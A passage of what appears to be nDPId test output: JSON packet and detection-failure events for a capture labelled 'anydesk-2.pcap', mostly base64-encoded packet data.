Zqaio4DPrJi3NEH22GXKSHiAq1QWZCkBp6EhrtSA6QoZ7ZIZVwZ1BCXPr\/bxt9LM3Lgb5iRmyLlSMFJSK8vvLwddKmUcG4vIrW+XIinUtJaVRRBP4iFLrarYk21BrLR8tkjQqxhiToDd1+z3j8wzGIffeEUXumGNVYgVxM20f7a\/XlI8XzcDMuUSy2wIw+NV51Nh7k8kioa+4Y0XFenGDcHzVzDZDpGQSG3a3GomfkvxKlkRSXT2pc50+g0sKmNl11x6druBy+CZWWP4ViegDgCTfmZIXvTXHJCsgZPcs1rrCgaZoB4a4uI38rQiN7N22irJjto8Brg6isec9kzi8dHIEW9rV6BAX6mLBCzyTxdvfw0TmGjR9ep8v4SFMB83J0opa2DpT87dZdq3Y2eCuHbljc\/j7hYof4mwpBDfIdLXpuMhyIq2w6TMD0SuWPqfgmWaSaezLIVU\/DnepEbNw0V\/YKpmbCgr3kd8rEgbmgIcjBVGOopdWaJdU4ib+2GT0fhbUSNIoH1+oQWJLjwJKpI+B5YX3mNj6ZnMCOHkGrpGAU\/GJEVFOENAvRJhT9bU2gPpMGzDV7pxSPhrxxkxjv+UR49TwBYj4D+tTlXdWcsjIEUrvZjNttxWSH0Yzzl\/f+IsYzXR19AtXG57KxHL+JCvNyjyr0yxm\/+qZ2IHt2\/wgKkRSe+LWgugzNSOLS0bxxtFPpUHhbjzJEVCE1Mu9bHfnjGzj+8wDLrdKG9dcnBW5QDObnFucxkk4nJ2Z61UmcLmlS+i8c9UDihDgkgnPcQyd0+6e3DKiu2pH4RF3SFwFpYTWK\/Dmh8UzQiRTnsI\/cgd0\/r0HcX0RjEgJKAHt+mRBjtnRNESyjbAUfPxolXpt4tOx4rNCvCibzQyajzEOjm1XNr7gBBeVIYG0lBuacvMZHgKE7A+URkeXuOuytECEteYcSZInE9kFz9PPwL7r2i2u8AP7T9IacfHgBh3dbBG9NQA1kyKLCqloF919AP\/eaLgaIp6CMITwt2bJDMAovUekxKLoG5bKcedtlHSV1z33IPmMyivXCbttEXsWzCovDlYNB24uUNK4ehteBeQ4x6i6qo4swFDTaeHdy\/\/3tyeXmGeuRNtu3JOSLrNkwYkXdA6uwoJsQqz+7\/pWPC6q5W4CjsG8jliVaoWPEJrlObYB5wvdaqKGtDL0FyUJoC18X416cHSNd1PJ+H1iR6879CaYajVgRT7syBAnPHVWAS1ucbv2Shyoog7\/dQpAN4X3lS6m9zZYOSYjGbJYsiHm8pJf\/7IGeImtqgqlo6NzFQ1T0gFrlFt1TG7Jx+UNCgZC4Fg3MyJbZndHU+XCnWU0n4AXLEvH2CgF638Gk9X+J30bDvtGD8Ri+t19bgq+hM5Nz60mG3nkqdDxIuxqul\/aRLlcFRgXOYX1ZpYf5Hs76PNiNwwk4wOBGu9OgaYd9LxjYexjmseyeueCzzDjeowFPGYJgOJG8rtwb9SzcBW8rtrkRsp13WJwcESR+tmdReDP4+3igFLtPpQc2KOIN52mypYPfEgTlsSSfimSHPghSgV6VtilI7tETioDNJTeovRDtNSGm0fXU+Eem3QxtQbhlYnbEST+qBDVvRz91UsEzTudb4NmbA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":671,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3009} +03500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":719,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":883789,"pkt_caplen":2360,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2360,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeQRAAIAGAADAqAG7wKgBstOUG56PHTlGWcQgrlAYIBCExAAAFwMDCP1Z4hNO+msVOrsaFEGW1iU\/5Cq8\/68b9gToijSzeBJZliBQekxYTNKNkIvfwiwGErmhd2E4mrsM9r+tZUOcow\/OoS+thw\/YrezyK9P9dGHAYU\/4wksHc4H6wsl6FV17hDNislo0pFuWAOVIOaACe8oZnybdfx+AvfvOP\/xtPDsTzDep4fCsY0fRW09E1\/fzIRwQhv+TnAm1u\/liZutBnDrX7Kv02SJG+j0cO\/bQERxciI2uoj6fiSMjY8wPCsYsdj7aqg6klTqd1k4f\/fCRHdDjbOxess\/Lcp1VO8EqDB0Fd9jcGMMAhE0cfAz6I2gqw0FJLE0\/z2bfY4dQHQ4c4OUqRl9AghWZDALhRXYwINhgbgJADCNT5IDuHxkNZHP07HiMqEhDGUTDkYLuj7dH\/JfG39IuRVC6oGt7e7ouekFCb40dEiZgvF9NWO+d2mKxyWyZzwGIDfx8qv0dzXHN+4oXkji9oHEcUq5f03OOQKQzIvzgTcgCzfVSa5kKrQ5IiSZ1ulXQWscEyEPiMRUDqyZy08I5bS8cXNcR0UVwjHcpgabbSicmqI4rxQHqxmPFc5jfs1aNmScMEJI3RerwNn3xuki8Y4tnWOlk6Ikpaac9lIZIkmKhtQu\/T2JMLnvLWzOjEqSWe8TtnaM3F6fSXcctFpevQwsOtcyKNzPnBS8ULsEi1WiAP0eOGAHXaVI\/\/8ksLV7EdGNqGNdkb34Q6qbXGFqIwEd7CDVSC\/XnyB8TgcYz6vH0d41zi1BJ0PJboxzEAgcVETTvM9vEPfM1BKp\/xBgjMnVcIFyUhguTNAavexD3xQHaPW7AsVVYb8xfMesCBrf2HhZsOlaRvehhlRHTCRaJzNoZF67fThtGCkqc6pVgSwi2JpCPk1fpR2P\/Z8nBlBJwbD\/DH3BxbYRIO6B29N0eclguuF\/YT2hCbNKIsQ8Xz9lVDNc0Ke\/4JuailJ8FYyBFZTKLuNCWPNkH2ObF5gNSiq\/i8yuxrzqrWrj3sJiOQCjoaAinbxt2xsrf5Blw+XAffzCKXCY+rYoweDf7xbUSPckpvKyjIiLVn7+rLxq4R18Zhxb3pWVSpioGO7AmDu9pNY+GTCyVF\/zB\/FKSpOUD5wVS7pQWuiyT3r+5TawSqVGBD8JRhMjBxRdwQSCF9V2W2X+ruwFD+KYS7pvuAIHoSVFhlHEmc5Q4dWOeQJh0HgFzvjakrcLOsNeg7Hi00EMWEJ8M16gZUYCiTuQt4E8yfmP8KLImAghIDaO2QKKpkMKLUDafuiipj4LN6InofuXgU0eoR6NeQDaAAtvBBG7rzevjr+uHCHYO+XfZXJwVbLluMkzSWDn5DqzzUFlbmlVMX+ttE3srd\/upDxIZqibOC0JnPn+QM6HQjmshGw855SUC2nC+8RICKT8BGgzgYt+Eh+76VH1ECPkjK1KdzTpQHXhOB3OfS+rSxV53+om4mHJZ0\/Mg6gMPhlFtA\/EXkH6DkyFUs1X\/Boy+5Bpp55hwOoisZ+NBRdyxW+hU1xQHisTQNOrHUKSI5tUouVpq6PLOZx5jEQKj0tUn79IMWfI2TymXZVbBp4zrkSPBlT+miIO6WtstEEOMywRqtFDUSPZmuVN5Pw\/cVGe\/GxxlGElzFhld4PL87bDqmg0VydDwWyKGBhKJrEBuTWvfS7x60c0JAR2rRVgQz7Fmbg0o7nKekSdOm+P33OO2TBZ3GBf1N0t4IvrV2S4Cufiv1JmtHzHHgt59tpNCMFcGxLy+HVfhs+vnhfx\/bqqcXEC+h1dK5mAbOmq8tCE1VD1bC6jGL\/TVlvbhelf4GlH9MF6oyu9Bwr\/QleP4LnkMJuUi6CRqKjo35ASBldE26B3HCeeXG\/v25z0G3MsucAYjUNOEQq3rU0hi80s02WTZVcDcWpSDRIq2L8ECHWoZqYf1zwDhpnqsi8OOkxL+7fFLkti7bdtcY8zuTx+FGd47b94BdlhIrMpH8XiBW3AXCHPH5mh2a+61FUNJ3sR5UIGK+Tbnq3uEv6Ysg\/MeTnyVrIk0CNPIFnYXNzT6XBYyXsTpczEceuK8cUtQgxvhbFeGgjHKwkZs7Dyp0kIbvMreZuDAzRupIZef3qtfq+tk7biJJkq\/H4R086cLWlt5u8mk7r0nBnfPcdzz1urGAx45x1RlSDnSZRBxImytNlOw+2+uNfggG52oq11RsisauPlXtjwzyrb6VODvB72fbUNtX\/i6Fh75swWfAKZlHmTvDGZ6JPgzDqN1vBkNCtItSsPSige4ZKSlF1C5BBHxldpiRUDOVie+T5TdR3VnzW77M9P+mDkOEaGIMOQTeW8m5LJF0RgD4HuGcLrI6n2aVz7oss3s0vhTjWnrjCI9ifWuCdDaeqtviF6l2549B1\/iaL0hsflYdZKkbhq8f3OBC3aQvFrZwzEAsUtJ7xbk2V3qO8fQH+BUvGFsBGmSWEaiu88\/+pK1EfFCXSbBLCbcEb9LJqGsBNnLFb9GZLIjNXNXwjOkkzhLSm9b7TMAhbBrxRmvrAr0rVg+iAM3rT8tkfnOoI0+5iRbGbf7uvhkpzCGqVOAg0Tx3oDvYOJOiF5Koxab\/6f44MLa6B+UD1CedJwI\/iRHpBjuLBXOa58SXDVBUtqg+DREhftR1sby3X4PVjyUGO7tKkKotKDmH\/6W\/fPF5I2YDpaiHiVJyvdIPDIPnuJ\/wyRGL6LxnvgVidwH3ik3gmqPHwsWyNBfKy\/ZbgATlEKvp5v2bL0Xd7adzvfkT93nkb+SDA3zkBO94\/A6RQuFcBig34CP4aRrua5hlJCGDWQX4MvXTW4SHH6UyMAy7voCXf4IB4xdtWSr6+vQYqv6ghl2QzBU3hOFcq+hkUR8NV+boOI9YAZq9I+\/jirLWoiS3H+Hao2sV+9WaMKnoQIwMSyTeStarPsO0PGKxghxFJUZcJo5aj8iO+8elcDp0gDoC1HgQCW+OaEODUvxoc6xFi69CCWikzs27mPzXwLPMHr8drFa6ssIE5+2dKM2+dRMpemmq+tmoax0yZ0AoVhN347VA3M1HS+0v9k+Fpf5TGTKsjoeL4+iue0critjz7Q="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":719,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2326} +04992{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":720,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":884250,"pkt_caplen":3457,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3457,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeQlAAIAGAADAqAG7wKgBstOUG56PHUJIWcQgrlAYIBCExAAAFwMDDUZZ4hNO+msVO5UbFxuetOjVh8TPdm\/rDKmaL8jryqJ4ayGT9FFoh3nJFPorZHdzXNdChTD937kkWLIHZUPGY25ULyxJnfL3fDDGYcTLjKEe1ry+hjKAceUkTj8e6sGTtxMxuQguX2aZD2vS2A1CpA4+JqSO0ETlHf1PyWbmJxE823BRw7yl5wvmFrBlbCicWGfL6o6y5Nfjv4dwK95bsnlquD1bT\/2CNLCvO7CFsQpBFt1mVnhO2eZ2ru8LNzXyVC24dmEPtRD4hpQxJ+mNPETstil+XTY1r9CANWG4dM94Xf5cu8QGpXCThdWjQZkwRqgJOPchBjSDFlSKgzuSbCmU6XYXfY0fmCRGRDkd5sLz4SnypjYOoBiHoAtcwtl2pwe0TqnLVe7zRNPN5QF6gcEljUxEW6lPAly\/l5ukm6+5Lyli\/JYYPmlrOTk9xLa4D\/S20KpcUACU6wrpgKVawVHOVuoJuxBmmuJZiJzxAXaftD0yiBUQJI\/Qa\/VOo69I4VZuxb2NNSOhJq9+xwhnkSc6SEbCPB1f2T7vAm8EjXxggEdzfaIqmTwW9puMDkUWH4l6aozTrxBQAVrMD3ZGWuQFaoA+ZYewZHv0SBDnn2QOySdEFZYVqXe6eCLGyggZ7peN9vIvUjCd+bHtFAa7XJ6fiSntpxuqmQ8YyY7d+2CjLwusGt\/8ejUkbjGUa40yclEv+MFd4Krum1I+8CaMz9wxnn9RQBakq137JC6OazRF6\/LZ0\/UFBTaaYm1VKfAw94Xy+QSwXkKqKcwaUKs4XOihjGxJ3rs6QW8VIAAxpcBasuUW+4SqpX7wPINilkkNXhFivMWSUEl8+bU\/UGkhrH6B8YPCoO0RMxyzQZVwJeq9uRaXdc6blei1GtU1uk5qB\/bNZN+p8uStkf6enjEAgYw+7mewS0rEUCBXnmyux8bejg1CY\/XC0RtlaPQl7n87v9+K\/23tSQzJDM6elIDtiOW+MfeihH17WEM+5km0XsNFqSN8fa76qV+zjbemgXoj8AuW2PuO4w35s+9CwfeImpA9FNpC8Xi0vNMu8xA88AAZuc9O4c\/k75R4HKUknyg\/FpO0RVSJ4Kk56peNYWwXqkAc0Kvv9IsS38a48XIOzBj42+c4Zzo26CuyXQkN91o3MPA\/X4sri1\/tn\/+zl1dZuwH\/mA2J9bwK6YW4IfJanLPOkzSlj8nA5XmIleFp4c9C5TmDG0EgE9kF\/uLYod2Gv7HExrnENyUI\/Fi3HYP2QX2ROwKJwhflg\/5iMn5twSrCDOELLRsCcH9XFMEdDnVT5uoL7lrn\/jutDUvjrpsP5xQHBUkwyeNpDwRYa0STjrlx6IE+ju24St1rC1P1YRAD\/e+wgQu6AQNt1DM0GjwqGqpL+G1SoHDmDxn7BVvvFylSMgGfdfP2JfKp597AHf3KL+83LIygdRxVkLH9poSnB4ENOyQbgmfjdhg6qYMw+6ALwsA\/qC0jTH+xxAJiIgca3xk9P4vT4TTtB8pU6tYwqrgj0IisRlcsHyiuxsrD6LmDc+EMq1zmQGvFBodMk0oYx2HvypjqmK0i+xmEkbMOGPtE2jBuAfbzB\/Yj54gQNsnMKPuWbH8KAQGRJ1zkN+VTo0UgNZbi9VcBV6c\/qpfCcthwGFk356Jl35KvZERW7d1fJA18xLi9PNH4BD2FgA\/I5RjgJhUmSwZ2c9FrsJNAqYNoBiW9u9kuKQB+G1gM7fIICD6Obc3BPevmSL4FbdjOfUviI1f81Ev6CBIRAQQBR57ZqJTR9qiIKu6XOzC+3k7EJxQzq8t3hddhM9upPTLGxPqq2+broLIJZjW98KeWgIUTfA+H\/nePk6s1\/8TJsS7R6k4rC2y5Ym6lD2ZFK7c3L9nZmAf2\/z\/i44qov7TznFMaajNl1\/KYSAq44S38yAxBRTs76PZ0MRZjoJ+go5Kl+01tJURTyBTcFEY4xah60+4jgXSLEgo7N6Rku7McucEBkDBTbcQa\/EONZXrcyObrXGw4jZ5gJib\/8nh8+NBMm5iJjzq3oQOfnN94\/qGcHhy72Qd2Dt1dKDc+SrhUytkVOM15u0hwtvWrENsAthssl8nwWnlmJ0ShCIPpBkCQ0kp2IHE9XyoZ7w6\/6RDC\/Dnb0LFhneYtYob4YqBD1t+qZkaRCj51aYWsHT2F\/jAjMILMew4Av8RZA7enjDuYKS8BC6wr6+tTYwqCbxTGT\/EloBeTUquHwzvdzch+kZehgwntttZ1e1NS51illVAmBDGFC\/2EZCzrb7y5q3O\/LQnAFXSctINCixP9aIMYcvoB1VOBEMotFprs0OfdlBXeBSkBwiU5OOb3Uh\/RHtfl9ZS4L1L44vkJIrvD++pW74g18jADNMP1rMCa7+a\/iR0TO58xIMuOatFM\/NFlahRDPNEcuuY02mCpHt+UHzolJKGOSNEXiO3bIPUm1jycbw9envISF0080QVQo5FVZgQpbpZC68tic53XKWHXwW62Ne5u+PZYs0dd7EqvqY\/OmeMY305jV0\/WZAcuFg8QupK1IFSjX1PSLjXAhJGvT4bwLosf\/iAsMHW3VtL8mUwqcULAoxJ7QSQnU8+\/7Tw+fQ4buJhxadtKTZ4MTHa5gjBkbOZoVXrTuuKygR55ljftZEE1jnGIR2B2ZiRQkOyjVK8KMshsevq57q\/wLRjUY\/M6i8UzmnFqXAoyJ220VD6KtbvgdNT1AEOqpBMS+c0jSgrIo4ns4NDiRRnuKlNXZHCnJfu6UGMSj1jKAys9jPZth+uq\/KNpyDX9rxawdhwYy5HuSKlKXb7Tj1YtVLB6m\/31zdS8VtAVWxABLw92ZTS1w3xOAeNy+tuw0NjwhkyBUz52Saw6RYnoLP01F\/pQcnIW3uNBheFOp3xDp4\/v+MajQaSzrbr6kWxQAm\/aEVhTroCj9qW0Eizevc5v6F\/gik\/0OOnYAmxhq3f9KlrnwaYkyiI38C1ztANBo345HacyS0lLrFYfqPABoumzn3O0wLIqUCIL\/6IOM8YnzWDk47GdiGrxUjP7t6iomu5\/hsxJAkkG1vMNBxN28HDbRh2DV+OtXVE4\/DiNy+iq4DobPeTmuidNFCX1SdmwSgtFAf8hbWCmds6hdCAnNFo0dj0AN5Ph+PHDbSP5rvKBwxaPRZWe4kCDNTk3bT0I9oMkNG3uYSVtg7B57REyBggiTWOkov7Hl720xrXd+Nl9T\/L6x3IwrGOoTaqsWkdsy3oV3EMIiIuEZngYKHvz4s71+BQ+VLyDoYqi58DS3N0MGN7TIlu2SRuJnv5EOhu0R6f0A3t8ZHRdKU0iZynannSD2pUihsQVj1mwdiAlg0ywvRhF+HV7ucAlBtbIm9syLQ7py324j\/KNtcnMM96ICEKNBSo0YbZnrWP8nOhGY8Sq\/SeYT53p3FzxztML0LhqajJKJLHERnBC3bPFviCe94W92RjYqKFGHPY81Z8F+bFZz+sX5FxIoOpm5OI1krzutN2WTjfj4N8C0jB3vCgonHxcxGD8b1kSnZPszbqV5QcHSrKh2wSIcgpTv4+2KJYrFFk2Xsdm15p3oGP8dma4SG2LZ69JpgjxWlhxkOKqgk0XRMijQ+sccfShf\/ITkuxosMImqhpHou8c6WQY1QPiQWtCdj6rxKQp6FNGq3iQOaG33B1DQtUShVVQBJoS2eFG33Fm8qMnjSZAwGxo73XiRlSSUsI2S9mYD7GN9hLDUj+Ll8qJqqFKZZ7zBzGMbmUHXF6Ivq\/Qimr52YgALvu0FsxeeqGi+gRvBQDxZnrA1AJiwYX\/uEo7q+MZ5xUuppRs1337qxmijvrhQgFmWSDLLrwAyjkjQPcNPUA1bMCLyp1ISFyMGZX15CRO\/r25XP+njc\/dFXWs7e0IRcVTqIb47qBreTnoyj4tFN90ssll6qVD6ra1w6HledbjHKIDSX5A1uuHoxePBZPuSC5qafud8DukvxwXNkeJ2Wqg31p1eu\/zv7E7JkPhR8SttFtoiJag+Pa6YqHZa7efyuvUbQlsnZLM\/66N6MYWGBZZS3YyavC91tYanFg+UkrNAvji1jnU4ytyUL+r841CrvExAe1vZotIyz7fKu4NeayTJF1F9tLCQI3dfDCZyIDfY4ykwT4X2Wu5AB99YZmsN6fwjay+QcDoX1SdC9X4IC3D9M5jTDCIGT4CayIw8wOSTa2f55yubKW5nJVhAKsG5wVQmR6fhGDnY\/0agYLIGYybLFs9DKrowRJPeK9rCChulzyO87b8O4ifD+fX1raRCpNt1wdmD1s0Fa5pTiXd2qQz5D+lNFf1XnklD2VzIWk9A5\/gDHEW310VxQ4iBhg6\/05G1PH7g0Oj0WmGLqJBZYJ9TK+x2xwxyLHJVbi5gJ2ucNHymyhL6ebX+j3dAR4qlVifVucCrrwCxT0zMmsvHtf9XUF1me17pwWGwiM8HqgAVcJz+btoul+SwNrLoVW5PxpM5yBRWF44fe91AF8sBtkp97AeQ1pFV7HgvKrjVtHjA43PEVTbPJsASaB\/HLwmrRtIBxS7Br3jEc+vhQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":720,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3423} +05737{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":721,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":884616,"pkt_caplen":4014,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4014,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeQxAAIAGAADAqAG7wKgBstOUG56PHU+TWcQgrlAYIBCExAAAFwMDD3NZ4hNO+msVPMe2UmbqG3SvLL4BphSPFlR3npXdYO0tHqDQ6mZsgci2xegylPeStTluZPmYv594QkbKzJq\/IPhi9r\/dh8G70VA8ynzEC7lpdIP1s5VcKwCBBksb26czNZbfEW5ZNewUY9ImXzMdiyBMuTESGdi+wduvo6WIL+sYO+tDsJJ4zCJuyLuE44EjN8w0+ZFh1OxwiKm7Y\/db+l1jOjARxDoxo2mftdrzU2HFUa6j6vI8vHpemel4PW0G7yzk05eh7vA1\/ciiN6pZSbSNsDO3og3Tx\/kUQzDx1pzfIjIZDLaijLqIDCWhPV3u3dRuW6OBtXXxcwjYjHiQx3+2ZGuoV8ogZn4xAQLQ4fpKHKbBkk\/EhPQY4Cquq5KJpTx0rtJxvcvmRRznvV2kN2akF848r39BvbkQ8SFHt0Ec2lQn4U7XvOglB+eD0x0OfI3v3xjxUH1ir+fJd55JEof8DP9zP6egSkVv4veDfjkLbaOSZtYYteHpfXeLX7zokOoL89VTVG2+eD+HoCtniT11loqmQi0lJ2XcS1WIlnZ6OdcCLCXgmTDpEcRned5vxV2jcbundn3WZZBDZTKKWzM0GOr6AM2DOPHywGqLhSdB9DisoIEc40TV6WBr6sMXq\/0Ef3T1gSohoxTFQaojIBLiIdy7XeOZZXfdiFju\/nkLqt67Lt6CylJThk\/hMRfl+jmWdlpbd1C\/2hTnSRANAA3gZpKmaECz4idl4ic4EK9yG7IziTmOOF69GkVqmdXngaTFD2kGMtoZD7nByDquYveNUM3TAqP2syWiRo7NSVbYHBB4tiXB7MYU4XCT3ap7ikUQGKX4y1ZP\/WU5fR7LJM52u9SB44BLmuSjd9oRMBEOQufGPkgYC9h9yrlv44cV+1fNCrU8ZzA4m1Sol3quBi8xlQ0GJ0ypmcIAvLVHau1cJlHN2nW1YecfMNgATcsFnMGuYYN6cHgu8RO\/AS25yMpAG5\/uSl+jb4OsynSml+E69HSW4Z5oxdh21nvdbPZcwBb1Od13MHQYUFK7sgOY6MJUb2jlxy8iSIhlQEBHV0A8i0FaPcbx5HKN1aZw2lUhJJ4esbVwHfhegqEvO1QWVcbjurPsGPwW3CfG41B\/6nzssm8f7GdEyzCuj1RsVASBnMXyKYAY\/yZtkk2zLDtLcdgTQsBrqANQKXHYVERLJdTOH7fOJrnTvcKitJIrqlrUq7RaF5qGSTaQtPtsqSL0LJUySyPWwxCvVWZJkhW7oijDI\/jcFk21jxyR4LilOlKR+9bHly8SZ\/LbQC8luPMNz36dPWj\/brpgUjVHAFlmy8XGZMBH5GyhHJPOCznT1\/JD7hmln+RHaEsvf65psFACCcONVYdAm5dOCR\/95DYoFldOYGha8ereV\/1yzTMIkWiqdeh3VAgf0dX40tNhAwSWZIRN\/ot5FLBsmpDgaI4T4v5PiTM\/xdLYunsde5Q46k1jFyYS9EVn1TccRNOUyH6NEGqt64g1iCgC\/IMlkIPRoii0jsuODKzICa8J1nz0Z6iJPQLaW4gmqG+64exwWQ1UV058JnqfHTyWys1SAJMQ\/4JzSR7ROGyiqOwnk+roonENSLOhRiuVGbGW4chV6r1pwOj9VdtdqiCZxNdBp2fO9V67hSA4sm9Nb+NNCgUTTV03URCYHkfUbs3YDr63ggW1SBR6PNDf9j4920qaydKRzOjokDn0Du0Gr2Q5uASvRHKWexP4tAjDlaLx3dnP6fwZ6CzkGNR2HdCrjOHsYZneDm+6nvSnlnh1wcitSU+lO47dIZH3U7+Teq\/womPhxL5ewut1\/m0aKQOBz6ppCd5lmYWdQAu5jSC20lCo1eokJoDuL68juh7UU4hSeADPdT4InGXNd+AigTXbhSBZIbnIUFr+dfqyHsLL7n2FrklsGGhERfZRck8g5nikLXy5QhUCUX6ZKQMI4n1lJsRro2\/papfjILZU9VHt4k2TxcyJhYMVDQNHKMlMhH7etNeCelQYQPp0hEts39HQQz5YtjQ2Qu7MCbLlP3ZAZ6D4xxSoJu2pfS1geOlQQYiL4dIB16cmseM9FKgvd9tEtkooGIyVfrftiHGxMGybmhz8ZI01NSzaR9ogQzIYn2eQQhe7THGh1Zclb2lxCBjS\/eITj2EBfsmvzANbOvPbf1MBsg4ZUEb\/dsJtrCQrX+pekmQp85p6+6VcZVVu9rus1hNBF3Fu+eTDos6ZhBUQ4BChTueqcH5vJagefmATX2oOAmXm1RWTTAWQCDchU+f5w6al4djPiPRMh6XEDLFlGIAJySnJ1EaG3AOqhZ7WEvN9wClI94hdcpFf3uriOCDpH0CyOVHiRowjkoRbLABxiq9TWvSlJV2yECGpXILtYWuaqOXDrCFpb3n0hu1Pj\/Cuitf251x6WPRBqxDO0omPdYwKslMhaAZxldbzuFHZM2JM9BAhkdmZG5jfWGUpZChvYTbNe8jz63H7o9Kd79doAFKhDTe+SCNDwcMgLO6R6H2Y8ya3iWXStmx9X93QeIXcGpQCEffOMHEUq\/ECraeYU6etZPGeZQRPwaHzTGjhxHONvmWL\/PJna0Ni71bZSAt7uri+K6ZRwt0dOscbybzr5gymGy4eUDPygkhvfhZyCzj0ndIi2qGJQvcBJgmpdu2\/iD2qM9UB80JmTxZRr4bIeaD6CvRSlvCj5IxJFsg8hnTWfwyh6PUJ\/iDN1J0sy2BgiecXqzM9\/Xu2wl4X4NnFuWAuxcvJ0ahEwbXOpUBlJeXsNaaz9F3CEDhPvy2fWOBJx\/DZtrv+o3ysIKCgbDX1AT1PprDzXfkV5WaFuhngZR1vY2c8\/bZFG8HUgTI1GfxqGTlUn4mREslS1qM+I5Biv9BNRtNYanLMBa0LU+1SffponxSyj\/c48mzSTuDetsmwuVpz7KUOSt4gyOxrtr4lx5tu6YfQ2ANHZYdQB\/udSb85G0CR3UWqg2hErfrLkqcqlvwc6iHNA1MxlEEN8\/QjClzq+QA6FF8a\/YfEMPYJy+1FDdKbv6XKsmMc308cffsu\/KQRnfXe07akHiJrd\/wVynziZ13ph3oUVOeHhLIPsExutM7FvSZAjKoqCXGiHjkQXiKjtDr2byypNk8t1PsLrhixH9D1C\/OMIPH2ru7Ax8K1PMpRtdtYGyOkrnmj\/mq9Hg\/NvxfmqwUorj9jYuVUJaNZBdiN\/cp9l5T0tf6COqeY7xfjutQ9tvp9E2mknmcCD\/ultD06SIM1hi7Xrx0544kYWuIdrIXc91p1j98GE1I9Tgc1cdHhpyjC3+tAD6utpfLVeiJPySVbEgI3d0XSMMfQeZQQHpZpAl912Qw6x966aLtwU\/gtCNJEFBjmxQj9XCsMtZhhXnaCc\/bCjZLgE+TZXbIjf8v3D5uSEqIELa2OqgdTtbaguNhZKG\/zBJakOkzb2Jkn4Y75AgPTDFZgAultyWIclt88DcqNc4Rv0x4rUxyUpRvJ9icxPWwHQeQGLAGTxCaFqy8Fc5b2ABNxvSseaPTkHqRDcqu1tkOxxPvBHCr6EvO9csUVK+hiH2NB78cx2aRXwP69dwxUU\/KWNnZQM3fh89fSr2xtJZEWgFF1WN1QA+0\/0+s6a0\/hE0e7G00minmlc8VpA0AcoAbAgVjeYCDxE\/7po1lyitEvHvU9A9SVyEZpY3ZXItAbzzXTxpBr0uGP5A4ULi+NH3vOoFuhKyy+YLwG5eWNy0s4HNRAttfMyxbgv4VqevIzn8E+WBQ7LMUIqzVBQnJt\/dGUj9shPXOLRxbmB6awBS32xtdRLLik\/4V8F8bowlFuL+a9Cr+IdVYgpEsjHG0HJZ5LzgAP6BOlxFX2QSkx3Swzdi1yCHcYJQjFdh0sH1XN0JYgap+xd+I8RmF83hSAnDnpmezRDwmQfzP0zeZ+gMkqxyJrfEbxmfyNBXFI95DmbdYhpBU82RICJrY8feSCt3K2zjW43GA+MbdsdN5HtmTbqdtF\/Ne5gz3Icj0CUDc\/DaNeZq9Ok6c4pr5NNGBZ44Orr6OqeBOyxic+DLaburnk7CAIF3\/khMFGGrmwraLSa95Zg72ytr450sNVj65Zjhz8bz7SouVFwCYRwU8htH0rm0mzH27Q\/RAf8VAjLEoQsVe58VaTAabjYJen+FnZBuwhirJ4mDCgvjQzruD340qTuej0VrEHQFgIkUanuhAGNawgturQMYO5Amx5vTOu6VwpwlP\/qWEHtf8O7xIcT0lo8R1KN3i1fuhwUR0iiRJqMsMV9Di40Q4tbv4EAdo7ABXXhz+7J+om9nj0KPyXpsVpJ3uuJX9od4bZQFgUDtAEzxsYNlmPon3evUrOiDr\/8UkpOLm3XobNJ8BchcphHvhvKZgtFJtbFgZsRf44jZl+7H8IWhwxXqnaWA2j5T9IqWJBMguGWTEybQOsHiaGROak8gj\/zcNH2IY+OUrrcJEMLtMgptHEqo8XQTElSbVgb48354+mam2Y4XSc6JNqkmEWNA0QDNWhqdc+zNtVwYkP8LOXYnbRWYsBGiLEfBq4OSbVO2w5\/+bKWBFaSp9eHqm1Vde5FYKfsMq0sfByIZCTvi6K\/13ruSDZ6F\/TgBs2HDQ0hzI34HUjqsQ\/Sgh\/XqUWHMiE1YgM248PaRjw0DeI4LwPAoMvI9UGuhOBmCyuyUScGcWZtHoVApQiHwwZIePoB\/MAQpHvG2cbnkxI64gFk7tJvAZ2EE5yO0ta5PEvmXo78mhtCyX6NoiLOCPYaj7DzJIjfeoQmxp1\/+Gge9WhqxorZrMGtCRwTG1r+Xym+\/WabE1DHfcvR72fUbUQCwH8YfugTokdM0h5U8eHhxV97H\/hIh4SGXUaqvuwLeY7Fo+ImIITFY9m8Ohxx6Edb3FpRDmZGbsGKIb5G6804mr5qcJijxdgv9hi6rdjFthVMs64luZ+CvXbn1e21BoRaHLdhVTwnBnO0BZfAR9YQzLsXrwTTx1sujA4IjCcq0pJSRnFsW3J1hcq3wDmrhbNG2Wsb383vdkuHqGRkbsB7vMP9Z7FLRNIwqgoC66Ex77YJrjScOUgfM9a6Yvlis4ch8F7l0nShgt3\/\/NxE\/c8wg\/UU9inA\/9tpbBFJkp1qxGBodc+lhDU+ICzghlGeRfzE\/YWWWWlejstpy+UXnKBFJhwVGBsGEo2EQPqevDMr+Yqo+Gccu5s+OMJw+dtEZH\/0oh943NFJRihQYOXGinLdSq5GQEhae3FmMtTePSZqJWsjdH+2R0pWchdzY47DKOM8H8